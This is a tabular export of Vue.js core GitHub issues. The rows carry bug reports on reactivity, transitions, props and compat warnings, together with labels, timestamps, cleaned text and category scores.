https://deploy-preview-6548--vue-sfc-playground.netlify.app/#eNqdVm1v2zYQ/is3dUOSIrKdqgUSzQ22Fv2wDVuLJRgwQMBASyeLDSUKJOWXBvnvO5KSLCmOPzSIAfHuuedeeHfSY/BrXc82DQZxsPwhDJPqT5kxAaksa1lhZWDLTQFpo40s+Te2EghaSKOBVRl8vLsDo1ilueGy0rOkCsPbpEqqpU4Vrw1oNE1NEk5syoDnzpUs4Ww2dyfr+6wHPILCHJ5aiFclVUrcxFXIrSd4b1HnORMaL8jX3Dvzjg2WtWAG6QSwXDXGyAp49j4JrH1YWoIkgF9SwdOHVtqxGtVgEtzekciHupx7AkdNdPd9rlCxEsm85XPe7N/SCWAT8nxI7j1KbU2GHl0OA3Mi6BKAVwWyDNVAR9oiuvV3AV67nJNkYD0f5e9FLiRfj/khAxKM0Ett9sI+JNX8NYFfw32BkEsh5JZXa3BqunaFwBojQ1bXgmMGRgIKLKlVtOsVZ3poikONYFtgBaZArmDDNV9xwc0euCaK9Vpg5ixXe/inwdlX20zg4/hXNpCyCpBpLvZAAe99VxIX+Hof/FkCzOixWvtICtTUsi54Rzm3Gc6cWUhBowpdsz3a+siapRRTDIufk+ppABTINhhSqqdhA75WQq1rGK9QXT7nmkI8ebjF1QM3oUspl6qMQadM4PnV7OqC/IFP9oiGIqFZcLcYXAb9dNnJnoyjH6hayVpTE2aYk/sv9nTuQrAdGsMHKSlUSu7p9JDZHrunFnADbCRd+Epm+76plxnfAKSCad31Qlgy/TAcGgsZI7aK+gvVeDSew/rajYBHoX5eJjhC2m3WTXOPoZKwRph+yCxo7GBOHtq1cMLpqBJHXbaIzqE9fr+7XEpqwNMOX8CAbQMXQguYaNtVOhVPb7YlCVt08Bzfb94fseTm/MytxbOL59Dbz38M9u8olpcLdPw8PI2fu8adbsPBPmzH1Pasn9Ba+lUTQ853mLmZ/BbyKsNdDDc3N9d+SmXtFwSAwNx0z1uemSKGq8XiJ3emdbguSNsLVix9WCvZVBl1t5AqBrVesfPFJbT/s3d+DWRc21UYg7Fv5cNmaGNrlxThI21Xp0UMd1U7YT6lMVeYohCOcIPKcNoxIRN8TaQlzzLna8g0WWBthtFiUe8cScnUmpMxnd2rwwlrlmW0o2N4Y8VRh32e/as8z71KKprFULGMN5rsOgu5C3XBMruyFlYK1/Sb1iyKBruzrRAT4sXq+MGHIvI5+RRoafd32kX39s3q5jqaWNspHhq2WU5fF+Nh8Qa5kIzaQdmu6OCDrW40VTvna3pByoo2u7NJAvu5xgWqz7X7EEuC2LNZHaUpt787mf3AoReRl6cFpg9H5F/1zsqS4IuiV6fa0PdJrzOUDhqv/nT3F+7ouVdS... [TRUNCATED]",,2025-04-04 09:39:13+00:00,2025-04-04 13:08:41+00:00,1,nan,0.1455,component with teleport root node inside cannot be animated vue version link to truncated,others,0.0
vuejs/core,2970095324,Props stability doesn't work as per docs,"### Vue version

3.15.13

### Link to minimal reproduction

[Vue Playground - solution proposed by the docs](https://play.vuejs.org/#eNqFU9Fu2jAU/ZUrvwQ0CGqhLwyqdVMfOlVbxfZW94EmF+bi2JHtZEwo/75rOyGApu4lis+51zn35NwDuyvLtK6QzdnCZkaUDiy6qgS5VtslZ85ydsuVKEptHBzA4AYa2BhdQEJtyZF6FNY9OCxaLp10gL89+cgVV5lW1l8vMXOYw9JfNhh2uKBaS+AzV0AfEvkcrkYk4xXlHJKrBJpRz1z3zPU5M+2Z6Tkz65nZOXPTMzeRebnUS8IGvlRVxSuaISxv4eAv6KZJ67WskKpEzlXD1WIS3STv6ECjlXLtkE4Ai84ZfwCoxxttyGk/PwgVfeAskvMd/mm5lG7uUH9u4R6zd5kTNRLeW7wkQee9nzIpst2xaNDSw8hPSOFiciKXjSgCZMRGbNM3qxXlJMzNWaaLUkg030snyCjO5tERz62l1L+/BsyZCoPVoecXZrt/4G927zHOngxaNDVyduTc2mzRRfr+xzfc0/uRLHReSap+h1yh1bLyGmPZ50rlJPukLqh9CDEWavvT3u8dKtsN5YX6yhgYzijOX94ZvZc7TWehj/JALp6uw+Wykc8xaxTH9i+Own+jVVtCjhuh8Mno0g6ek64gGUHiS5IX2qCu3z+1H3mFKkfjQ9tHtSVTqbcDzlY4NqEI8zln8CHmJKzBkLb1PxHORR1eAB59BxxI+bEfmgbGAWq1EhCLCbuQSPoiuZjEO8/T1/wFt6CDzQ==)

### Steps to reproduce

Following the docs [Props stability](https://vuejs.org/guide/best-practices/performance#props-stability) doesn't solve the issue.

Check the console to see that all items are re-rendered

### What is expected?

[Vue Playground - version using v-memo](https://play.vuejs.org/#eNqFU9Fu2jAU/ZUrvwQ0CGpLXzKo1k196FRtFdsb5oEmF+aS2JHtZEwo/75rOyGAqvYFxeecezn3+vjA7ssyritkCZuZVIvSgkFblZCv5XbOmTWc3XEpilJpCwfQuIEGNloVEFFZdKSehLGPFouWiycd4LpHn7nkMlXSuPY5phYzmLtmg2GHC9IaApdcAv2RyBK4GpGNF8wTiK4iaEY9c90z1+fMTc/cnDPTnpmeM7c9cxuY1aVfMjZwUlkVL6iHML+Dg2vQTRPX67xCUomMy4bL2SRsk3ZHBxqtzNcW6QQw6zbjDgD1eKM0bdrND0KGPXAWyGSH/1oups4d6s4t3... [TRUNCATED]",,2025-04-03 16:13:45+00:00,2025-04-04 11:54:23+00:00,1,nan,0.8199,props stability doesn t work as per docs vue version link to vue playground solution proposed by the docs following the docs props stability doesn t solve the issue check the console to see that all items are re rendered what is expected vue playground version using v memo truncated,documentation,0.4767
vuejs/core,2966573271,"When Transition and keep-alive are used together, the display is incorrect","### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/jimei416/Transition-demo/tree/main

### Steps to reproduce

After changing the value of show to trigger the Transition animation, if you switch components before the animation completes and then switch back to the component containing the Transition after the animation ends.
![Screenity video - Apr 2, 2025](https://github.com/user-attachments/assets/dca81659-68d4-49ab-b559-fdd27e026095)

### What is expected?

After switching back to the component containing the Transition, since show is false, the Transition component should not be displayed.

### What is actually happening?

The Transition component is still displayed even when show is false.

### System Info

```shell

```

### Any additional comments?

https://github.com/orgs/vuejs/discussions/13146","scope: transition,has workaround,:hammer: p3-minor-bug",2025-04-02 14:29:31+00:00,2025-08-20 12:56:09+00:00,2,"scope: transition,has workaround,:hammer: p3-minor-bug",139.9352,when transition and keep alive are used together the display is incorrect vue version link to after changing the value of show to trigger the transition animation if you switch components before the animation completes and then switch back to the component containing the transition after the animation ends screenity video apr what is expected after switching back to the component containing the transition since show is false the transition component should not be displayed what is actually happening the transition component is still displayed even when show is false system info any additional comments,bug,0.6124
vuejs/core,2966353523,"Loosing reactivity when using ""style"" props name in component","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU8Fu2zAM/RVCOyQFujjIdsrcAtvQw3bYinVHXVyH8dTYkiDJbgbD/z5KtmM7c4oWvkh8j+Qj9Vyzz1qvqhLZlsU2NUI7sOhKfculKLQyDmowuIcG9kYVsCDq4gR9VYXu4qvIX3ylxadJapI6UeEknwjtlypp3Ynz4P7mCDe+3bKGxyQ9ZEaVcrcFzt6t12vOoLniMo5anaSQLg4LnScO6QYQ70QVDt1RSKDx4mgUFlKXDqr3hdphfsPZpPlqaErNoi4nVbkykGgN9TDQOR+apusQlrK1Hj+vT0VbYDODtO16sXE0moxdM2dpWXuRrZ6skvRYtSdzllIzkaP5qZ2gZXK2hYB4LMlz9fw9xJwp8bqPp38wPczEn+zRxzi7N2jRVCTqhLnEZOha+O7hBx7pfAJpl6Uf4QXwF1qVl15jS/tCKyPZI15Q+y34Rsjst707OpS2H8oL9cwm8DkjG/k9Xxp9kPth9THkcdnQFnuPnrsd8kRm9CaOygRftc7URmlLjtzhXki897e4hvCC1GxiUesMySZ9Lby5hENzu5yaeNbCIxO3x8HRfgYlUZL08MM8CnLfUioHz8ocqMnV2PAzlg9p81bvzU5GP2cNBu+qv1niW+RtXqdvTPtP4KWfqfkH9LmqSg==

### Steps to reproduce

1. Create a component with props with ""style"" attribute name
2. Mutate a nested attribute into ""style"" props

### What is expected?

the nested value mutate
`isProxy(props.style)` should be true

### What is actually happening?

the nested value doesnt mutate
`isProxy(props.style)` is false

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-02 13:11:48+00:00,2025-04-02 14:11:51+00:00,1,nan,0.0417,loosing reactivity when using style props name in component vue version link to create a component with props with style attribute name mutate a nested attribute into style props what is expected the nested value mutate should be true what is actually happening the nested value doesnt mutate is false system info any additional comments no response,others,0.7579
vuejs/core,2965587338,Unhandled error during execution of scheduler flush in vue internal code.,"### Vue version

3.4.21

### Link to minimal reproduction

no external reproduced link could be provided

### Steps to reproduce

I use el-table implement embeded parents-children list, Buf after some operations, I encounter the console error as follow and I can't touch the ""expand"" button again.
`runtime-core.esm-bundler.js:47 
 [Vue warn]: Unhandled error during execution of scheduler flush. This is likely a Vue internals bug. Please open an issue at https://github.com/vuejs/core . 
  at <ElTableBody context= 
Object
 highlight=false row-class-name=undefined  ... > 
  at <ElScrollbar ref=""scrollBarRef"" view-style= 
Object
 wrap-style= 
Object
  ... > 
  at <ElTable data= 
Array(10)
 stripe=true show-overflow-tooltip=true > 
  at <ElCard class=""v-content-wrap mb-15px"" shadow=""never"" > 
  at <ContentWrap> 
  at <WLCompensationPackMt onVnodeUnmounted=fn<onVnodeUnmounted> ref=Ref< 
Proxy(Object)
 > key=""/wl/carry/receive/compensation-mt"" > 
  at <KeepAlive include= 
Array(2)
 > 
  at <RouterView key=0 > 
  at <AppView> 
  at <ElScrollbar class=""v-layout-content-scrollbar !h-[calc(100%-var(--top-tool-height)-var(--tags-view-height))] mt-[calc(var(--top-tool-height)+var(--tags-view-height))]"" > 
  at <Layout class="""" onVnodeUnmounted=fn<onVnodeUnmounted> ref=Ref< 
Proxy(Object)
 > > 
  at <RouterView class="""" > 
  at <ElConfigProvider namespace=""el"" locale= 
Object
 message= 
Object
  ... > 
  at <ConfigGlobal size=""default"" > 
  at <APP>`

`Uncaught (in promise) TypeError: Canno... [TRUNCATED]",,2025-04-02 08:24:59+00:00,2025-04-02 08:49:50+00:00,2,nan,0.0173,unhandled error during execution of scheduler flush in vue internal code vue version link to no external reproduced link could be provided i use el table implement embeded parents children list buf after some operations i encounter the console error as follow and i can t touch the expand button again runtime core esm bundler js vue warn unhandled error during execution of scheduler flush this is likely a vue internals bug please open an issue at at eltablebody context object highlight false row class name undefined at elscrollbar ref scrollbarref view style object wrap style object at eltable data array stripe true show overflow tooltip true at at at ref ref proxy object key wl carry receive compensation mt at keepalive include array at at at at ref ref proxy object at at elconfigprovider namespace el locale object message object at at uncaught in promise typeerror canno truncated,bug,-0.1779
vuejs/core,2964307511,[BUG - @vue/compat] Incorrect deprecation warning message for `COMPILER_V_BIND_SYNC`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ah91yjjh?file=src%2FApp.vue,vite.config.js&terminal=dev

### Steps to reproduce

1. Install & set up `@vue/compat`
2. Use `:foo.sync=""bar""` in a template
3. Look at confusing deprecation warning

### What is expected?

```
[Vue warn] (deprecation COMPILER_V_BIND_SYNC) .sync modifier for v-bind has been removed.
    ↳ Use v-model with argument instead.
    ↳ `v-bind::foo.sync` should be changed to `v-model::foo`.
```


### What is actually happening?

```
[Vue warn] (deprecation COMPILER_V_BIND_SYNC) .sync modifier for v-bind has been removed.
    ↳ Use v-model with argument instead.
    ↳ `v-bind::foo.sync.sync` should be changed to `v-model::foo.sync`.
```


### System Info

```shell

```

### Any additional comments?

_No response_","scope: compiler,scope: v2 compat,🔩 p2-edge-case",2025-04-01 18:51:49+00:00,2025-04-02 03:12:31+00:00,0,"scope: compiler,scope: v2 compat,🔩 p2-edge-case",0.3477,bug vue compat incorrect deprecation warning message for vue version link to install set up use in a template look at confusing deprecation warning what is expected what is actually happening system info any additional comments no response,bug,-0.872
vuejs/core,2963040860,"withModifiers(() => {}, ["" enter""]) Does not take effect in JSX","### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-qzas5vub?file=src%2Fmain.jsx

### Steps to reproduce

<img width=""643"" alt=""Image"" src=""https://github.com/user-attachments/assets/c0a9df82-274a-4130-882e-7a4e33d5a9db"" />

{
  ""@tsconfig/node22"": ""^22.0.1"",
  ""@types/node"": ""^22.13.15"",
  ""@vitejs/plugin-vue"": ""^5.2.3"",
  ""@vitejs/plugin-vue-jsx"": ""^4.1.2"",
  ""@vue/tsconfig"": ""^0.7.0"",
  ""npm-run-all2"": ""^7.0.2"",
  ""prettier"": ""3.5.3"",
  ""sass"": ""^1.86.1"",
  ""typescript"": ""~5.8.2"",
  ""vite"": ""^6.2.4"",
  ""vite-plugin-vue-devtools"": ""^7.7.2"",
  ""vue-tsc"": ""^2.2.8"",
  ""vue"": ""^3.5.13"",
  ""vue-router"": ""^4.5.0""
}


### What is expected?

Trigger the function when the Enter key is pressed

### What is actually happening?

Every time the button is pressed, the function will be triggered

### System Info

```shell
System:
    OS: macOS 15.3.2
    CPU: (12) x64 Intel(R) Core(TM) i7-8700B CPU @ 3.20GHz
    Memory: 24.91 GB / 64.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - ~/.node/node-v22.12.0-darwin-x64/bin/node
    Yarn: 1.22.22 - ~/.node/node-v22.12.0-darwin-x64/bin/yarn
    npm: 10.9.0 - ~/.node/node-v22.12.0-darwin-x64/bin/npm
    pnpm: 10.7.0 - ~/.node/node-v22.12.0-darwin-x64/bin/pnpm
  Browsers:
    Chrome: 134.0.6998.166
    Safari: 18.3.1
```

### Any additional comments?

_No response_",,2025-04-01 10:41:54+00:00,2025-04-02 03:02:11+00:00,1,nan,0.6808,withmodifiers enter does not take effect in jsx vue version link to tsconfig node types node vitejs plugin vue vitejs plugin vue jsx vue tsconfig npm run all prettier sass typescript vite vite plugin vue devtools vue tsc vue vue router what is expected trigger the function when the enter key is pressed what is actually happening every time the button is pressed the function will be triggered system info any additional comments no response,others,0.2263
vuejs/core,2956243422,Model ref values are not proxies,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVMlu2zAQ/ZUBL4kBQ0bg9uLKchfkkAJuA3c5CSgUeeQooUiCpFwbgv69Q9IL29pGm5tmeY9vhk/s2DulknWLbMJSU+paWTBoWwW8EKtpzqzJWZaLulFSW+hAYzWE2txrudlCD5WWDVwR/upNLnJhtwphvv1e8BZhCl0ugBCFMfVK4HI2gQcpORaCmgGa1hb2j2zvaUopjIVmu8CKWOjIdMeZXXf94LeWuVwip6YlVrVAH0XN7hiqFC23E7gewDQDx0DnBJaqFaWtpTiIpBOpzeP88cl6P0o0xwSspqTT2p9k8TKOPD78P6awm9Nqkt3iiMuhz2DPaziDT0fh/um2KbDYKE5dFAGkjzeZu/EazSwdUeCTKrsz7nIgTFaAcqaYQdftDXLtVQ+g79ORikCNv7RLMC/3CNyLcIbwsEiFxoygwSy+nxJHRPDHOUyo/o36ppY0ezxq+tBaS8t1DqffIkQ5g7clr8tnykQOoj9msYu8eUehO4uW8M90XmFM6Hf3IsqDp4hu7r9frC6y2JHslLJ0FBmJDek5oR+3qlfJk5GC3hzvzpyVslE1R/1ZOQfTkzMJvnW1gnP586PPObsO9/nyEcvnE/kns3G5nN1rNKjXmLNDzRZ6hTaUb798wg19H4qkv+XUfaG4QCN56zSGtvetWJLsqM+rvfOvZS1WX83txqIw+6GcUNfZ+/6c0cP54cLoR7nj5JXH0b9KW/yxRu04aYHj5HVyM2b9L6vH/RY=

### Steps to reproduce

When accessing the reproduction link, you'll notice it says `Is model value a proxy? false`. Because of that, if you click the `Mutate model` button, it won't trigger a re-render.

### What is expected?

Model values should be wrapped with a proxy, so they are reactive, just as any other ref.

### What is actually happening?

Model value is not a proxy, and thus, the reactivity system doesn't detect mutations made to that object.

### System Info

```shell
Google Chrome	134.0.6998.166 (Official Build) (arm64) 
Revision	0b26d3a1ee1e44572492002c2e52ffcd13ac701b-refs/branch-heads/6998@{#2123}
OS	macOS Version 15.3.2 (Build 24D81)
Java... [TRUNCATED]",,2025-03-28 13:51:48+00:00,2025-03-29 19:14:19+00:00,2,nan,1.224,model ref values are not proxies vue version link to when accessing the you ll notice it says because of that if you click the button it won t trigger a re render what is expected model values should be wrapped with a proxy so they are reactive just as any other ref what is actually happening model value is not a proxy and thus the reactivity system doesn t detect mutations made to that object system info shell google chrome official build arm revision b d a ee e c e ffcd ac b refs branch heads os macos version build d java truncated,others,0.8885
vuejs/core,2955396742,Why is there no expose property on the component instance?,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul9LwzAQ/yolL91gtIzpyygDlT0oosP5ZkRKe+uytUlIrrUy9t29pLQbOPdSevf7w+8ud2B3WkdNDWzOEpsZoTGwgLVecCkqrQwGD6rSwcaoKgij2BWOHnKZKWlVCVGpipFrj7lM4s6CxFQgVLpMEagKgmQ7XTwrtSc7L0tiajjFGYtNGFqy3Ygi2lklKdPBaTnLyF+UYF41CtJzNg884rC0LNX3k++hqWHS97MtZPsL/Z1tXY+zlQELpgHOBgxTUwB28HL9Ai39D2Cl8rok9hXwDWi22mXsaPe1zCn2Gc+nffSbFbJ4t8sWQdp+KBfUMY+ezxlt2q32v9FPcWfRjddxeaQt9q904VFz2AgJK6O0HXkfmVYwWOKPpmKNhrL1fvSunWhZCbSjjzDbprKA8PMEtFpZ6OwQLI7Gvd/5jYQOCkk02F47l1w0iyR2379H8tWAcSuj8WbRbTSdseMvmnvuRQ==

### Steps to reproduce

![Image](https://github.com/user-attachments/assets/002696c6-729a-4f40-bf7f-04743f4582d9)

### What is expected?

includes `expose` 

### What is actually happening?

When inspecting a Vue component instance via console.log, I found that its prototype contains properties like emits, props, render, and setup, but there is no expose.

Why is that? If expose were also available on the component instance, it would make it much easier to re-expose the internals of a wrapped component when creating higher-order components.

Was this an intentional design choice?

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-28 08:33:58+00:00,2025-03-28 08:48:34+00:00,1,nan,0.0101,why is there no expose property on the component instance vue version latest link to image what is expected includes what is actually happening when inspecting a vue component instance via console log i found that its prototype contains properties like emits props render and setup but there is no expose why is that if expose were also available on the component instance it would make it much easier to re expose the internals of a wrapped component when creating higher order components was this an intentional design choice system info any additional comments no response,others,-0.4497
vuejs/core,2953908075,Standard web components written in vanilla JS don't seems to be supported by vue triggering `Uncaught DOMException: Operation is not supported ... createElement`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-pbrkv3zs?file=src%2Fcomponents%2FHelloWorld.vue

### Steps to reproduce

In the reproduction link open the terminal to see the error `Uncaught DOMException: Operation is not supported ... createElement`

Otherwise locally: 

1. Create a project with https://vuejs.org/guide/quick-start `npm create vue@latest`
2. Install my web component with `npm i --save @sib-swiss/sparql-editor`
3. Import it and use it in the welcome page

```vue
<script setup lang=""ts"">
import '@sib-swiss/sparql-editor'
</script>

<template>
  <sparql-editor endpoint=""https://www.bgee.org/sparql/""></sparql-editor>
  ....
</template>
```

Start in dev with `npm run dev`

### What is expected?

An editor for SPARQL queries should be displayed using this web component.

### What is actually happening?

Nothing displayed

Get warning:

```
[Vue warn]: Failed to resolve component: sparql-editor
If this is a native custom element, make sure to exclude it from component resolution via compilerOptions.isCustomElement. 
  at <TheWelcome > 
  at <HomeView onVnodeUnmounted=fn<onVnodeUnmounted> ref=Ref< undefined > > 
  at <RouterView > 
  at <App>
```

And error:

```
Uncaught DOMException: Operation is not supported
    createElement runtime-dom.esm-bundler.js:37
    mountElement runtime-core.esm-bundler.js:4846
```

Following the first link brings to the `const el` here:

```js
createElement: (tag, namespace, is, props... [TRUNCATED]",,2025-03-27 17:33:58+00:00,2025-03-28 00:50:47+00:00,1,nan,0.3033,standard web components written in vanilla js don t seems to be supported by vue triggering vue version link to in the open the terminal to see the error otherwise locally create a project with install my web component with import it and use it in the welcome page start in dev with what is expected an editor for sparql queries should be displayed using this web component what is actually happening nothing displayed get warning and error following the first link brings to the here js createelement tag namespace is props truncated,help,0.3476
vuejs/core,2953071758,Question about Specifying Prop Types in Vue 3 with defineProps in JavaScript,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1v2zAM/SuCL82wVEaX9eKlxbauhw37KNbe5mFwLCZRI0uCRCctgvz3UXL9sdYtdjEs8j2RfCK5Tz5Yy7c1JFky96WTFpkHrO15rmVljUN2Y4T5Kj2ypTMVyxOetpbAy5N3HXLPjP5mao0gpg6KEuUW2KHlteBcK0CGnp0xDTv2qUCYvOIrwBtZ0V9ElEZTQI/kI1h712TP8CF0xn7lmlFEKTK6axodGUVZyA2FmbLSVJbiALmXhfKUx3RIYK/ZSU/aFWrziISuHuG86TllsRwN9IQz6zlRgrHccv370FTeKTiZvGJn52wfbmvkWBiDHl1hL66vSRVhyroCjbwkfRAuFYTT5EhJvTkKl7F/GNyBItaRx3sFfg2AR08xawfLAFojWp+laSk0v/UClNw6rgFTbau0Y7w/5TM+SwW9R1p63zt4JTUnSxOhS3QNheCFtaDFxVoqMRnGDhlHDeZp04fUgXRAIK2oPDoxNhdyS8Ke5QndkiesVIX3dCJ9sJAaXJ5E3AOycxdOsPA5XhhxzxarYyVXa+zAj+AoUdE7nWdZ7H0Vep+mZE6Fbtvrh//joQQsi1phG9cJcKS7fy5ol94AQJB21HoTY1k7BESLI8JbQ570uLSPM5p4+zdPBxLnOpkm6EnPpVzRyxtNeyG2YBC5slKB+2FRUj/mSdY0Z/AVSpndl2gLgxNHIHLWUG5G7Lf+Ltjy5MqBB7cNY9H6sHC0DBr35fV3uKP/zlkZUYfHecH5E7xRdcixgX2staC0B7iY7ee4s6Re3fjLOwTt26JCogHZDHIc2osXSu/TnfG3kUd9TCoOl+TIcm1G2jpjwyKkZqH2vQqnwZJjT+dhdCLaHnJm98wAGDVoq/2+DXCgXP+jK6iaP1twQSGqZMZP+cksOfwFedAP9g==

### Steps to reproduce

In the parent component, I binded the state.todoList data to the child component <TodoList> via props.
In TodoList.vue, I used the defineProps function to define the props without specifying a type.
But running the project, a reference error occurs.

### What is expected?

The todoList data, which is a prop, should be displayed through {{todoList}} in the <template> section.

### What is actually happening?

![Image](https://github.com/user-attachments/assets/dbcbebc8-69... [TRUNCATED]",,2025-03-27 13:50:58+00:00,2025-03-27 23:58:03+00:00,1,nan,0.4216,question about specifying prop types in vue with defineprops in javascript vue version link to in the parent component i binded the state todolist data to the child component via props in todolist vue i used the defineprops function to define the props without specifying a type but running the project a reference error occurs what is expected the todolist data which is a prop should be displayed through todolist in the section what is actually happening image truncated,help,-0.6124
vuejs/core,2952929981,useTemplateRef ref name needs to be different than var name,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-mrkdbqgv?file=lib%2Fsrc%2FMyModal.vue

### Steps to reproduce

`const dialogElement = useTemplateRef('dialogElement');` is the interesting part.
in the minimal repro:
* cd into `lib`, install deps and run `npm run build`
* cd into `app`, install deps and run `npm run dev`
* refresh the preview and watch the browser console

### What is expected?

no warning

### What is actually happening?

` [Vue warn] Set operation on key ""value"" failed: target is readonly. 
ShallowRef<null>`

### System Info

```shell
stackblitz

 System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

this doesnt happen unless the component is in a production bundle.
my guess without knowing any of this is that both the old logic and the new useTemplateRef logic run.

(internal issue TKUA-8682)",,2025-03-27 13:07:33+00:00,2025-03-27 13:13:19+00:00,2,nan,0.004,usetemplateref ref name needs to be different than var name vue version link to is the interesting part in the minimal repro cd into install deps and run cd into install deps and run refresh the preview and watch the browser console what is expected no warning what is actually happening vue warn set operation on key value failed target is readonly shallowref system info any additional comments this doesnt happen unless the component is in a production bundle my guess without knowing any of this is that both the old logic and the new usetemplateref logic run internal issue tkua,others,-0.4939
vuejs/core,2943135104,type union on props casts empty string to true,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUk2P0zAQ/SuDL1mk3XQRnEJbCVAl4AArQOLiS5pME+86tmU73aKQ/87YSdqEj5U42TPvefxm5nXsjTHpsUWWsbUrrDAeHPrWbLkSjdHWwzvdGDhY3UCSrkIQ6MkZ7sDiAfqRMUBcFVo5D42rYBPwq+Q9Sqnhu7ayfJY8v1DQWm0nUgDWq0EGCaDAY2Nk7pEigHWUksUnG87iyRlkFo9oHZa7JbDaAoR6sxrsmnlHHx9Eld47rajrLlTmrKDSQqL9bLwgYZxlEJGA5ST98WPMedvi9ZQvaiwe/pK/d6eQ4+zOokN7RM7OmM9thX6Ad18/4YnuZ7DRZSuJ/QT4BZ2WbdA40N62qiTZM15U+yEuR6jqm9udPCo3NRWEBmYf+ZzRwsJU/9X6Re7L9FV8x1VPU5x88LttQOaqohV4KnOxUAclHoTCO6uNW3jl9cUJJoKbOXUddcR1ZrDXWmKu4Cc4b6mzAC02n40AMUYuad1eRbM95apSHKGQuXOke587mj9kU9xBUtTUEpZJNnq1J3z1ny8XOs8VFtak0PkfcrimodqwhRpFVfsMXtzemhONC+BRlL6eJxpaklAZ5K3Xs8SN1ybQBtY+Lx4qq8kuN4WWYVqVRVQE0Urpx1Hs8OmfZIvlQKVJRpms/wUafHFB

### Steps to reproduce

When doing a `boolean | string` prop an empty string (which is nullish) is cast to a `true` value. If the union is reversed this does not happen.


### What is expected?

Empty strings should not be cast at all to a `type: boolean`. 

### What is actually happening?

Empty strings are cast to a `type: true` when the boolean is the first item in the union

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-24 12:41:10+00:00,2025-03-24 12:47:47+00:00,2,nan,0.0046,type union on props casts empty string to true vue version link to when doing a prop an empty string which is nullish is cast to a value if the union is reversed this does not happen what is expected empty strings should not be cast at all to a what is actually happening empty strings are cast to a when the boolean is the first item in the union system info any additional comments no response,others,-0.296
vuejs/core,2941684004,响应式props解构只支持直接解构，分步解构则失效,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUsGOmzAQ/RXLl81qN6BtUqlKAWW3yqE9bKO2R0sVgSFhF2zLHpJIEf/eMS6UpG20ByT7vTczb5458Uetg30DfMEjm5lSI7OAjU6ELGutDLITM1CwlhVG1eyGpDcD9VSp7VpZ/M0FYQ+4jiRjTMhMSRKkW2CxazR5+HA7Ah/zPJ7csjhhJycnJNinVQN3d0K2QgoZhd4V+aELQq2rFMHdMNo0iEqyZVaV2WssuO8neEKHKPSsV/a+3EXggngvF9whSTQY7+T+i8JhGr/n482uZXVIMdutigIyPMvsY7+0NkrbOIeilLB250m/+YI9N/UGDG0+RHQivKXkuiohR90nk9s46UqdUlUQkMMJyanW1f83OMai3Tw5dZ3bKKTz5a5oqWVRboMXqyQt200RPFO1LiswXzWWNFLwhX80x6VVpQ5fOgxNA/c9nu0ge/0H/mKPDhN8bcCC2dNLDBymZgvo6dX3ZzjSeSBrlTcVqa+Q34DiaJxHL3tqZE62R7rO7efuyUq5/WFXRwRp+6WcUadsO73g9Hyfrqz+x+4smHd19ACUov8lpnWqL3L0xHkTmuHN7hC1XYRhlksqy6Eq9yaQgKHUdbgkWWgaiWUN01zVS5oYvJuHeWlxjAdg6+nGqANFS11Gm7sGXd5makDmYFwub5t7UXY2+4L7a/4olp8kdFFTHrPgffAw4+0vGEaL+w==

### Steps to reproduce

点击age按钮改变props，观察控制台的监听器信息是否打印，以及视图是否响应更新会发现响应式依然丢失



### What is expected?

应该在点击按钮之后，视图会更新，监听器也会执行

### What is actually happening?

点击之后，视图和监听器均无响应，解构props丢失了响应式

我觉得
const props=defineProps({
  age: Number
})
const {age} = props
和官方推荐写法
const {age} =defineProps({
  age: Number
})
两者应当有一致的表现，结果并非如此

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-24 00:45:40+00:00,2025-03-24 01:15:34+00:00,2,nan,0.0208,props vue version link to age props what is expected what is actually happening props const props defineprops age number const age props const age defineprops age number system info any additional comments no response,others,-0.1531
vuejs/core,2940286120,Readonly reference to an array is not honored when inside v-for,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kdFPwjAQxv+VS1+ABIcEfcFBooYHfVCjvlljlu0Gxa1t2m6OLPvfvXYBITG89e779bvv2pbdah3VFbI5i21qhHZg0VV6yaUotTIOWjCYZEoWO+ggN6qEAfGDmxMgP9G45DJV0jpIld7B4uAwJHL40UIzhyl0n6MRuXAZT/rJNJMKh6UuEodUAcSZqKG+yJVZcFaCkMGRs2XbQhk1ZH0JXRdPCOv5zdRLYazvU+n9jzzZmDlL4XKxjrZWSVq89Tc5S1WpRYHmWTtB4TmbQ1C8lhSF+nkMPWcqHO/76QbT73/6W9v4HmcvBi2aGjk7aC4xa3S9vHp7wobOB7FUWVUQfUZ8RauKymfssbtKZhT7iAtpH8LvCLl+t6vGobT7pXxQT3aB54x+7P7M6n9xZ9FVuMdlR6/4VaPxnvSAs+g6ms5Y9wtIl8Jq

### Steps to reproduce

Create a readonly reference to a reference of an array of objects.

```
const copy = readonly(ref([{ x: 1 }]));
```

In the template, iterate over the reference array using `v-for`, while attempting to modify the current element, for instance, inside a child component setup function or directly in the template as follows.

```
<div v-for=""m in copy"">{{ m.x = 0 }}</div>
```

### What is expected?

Modification should be disallowed as the reference is a readonly one.

### What is actually happening?

Modification is permitted. Data is mutated. No error or waring issued.

### System Info

```shell
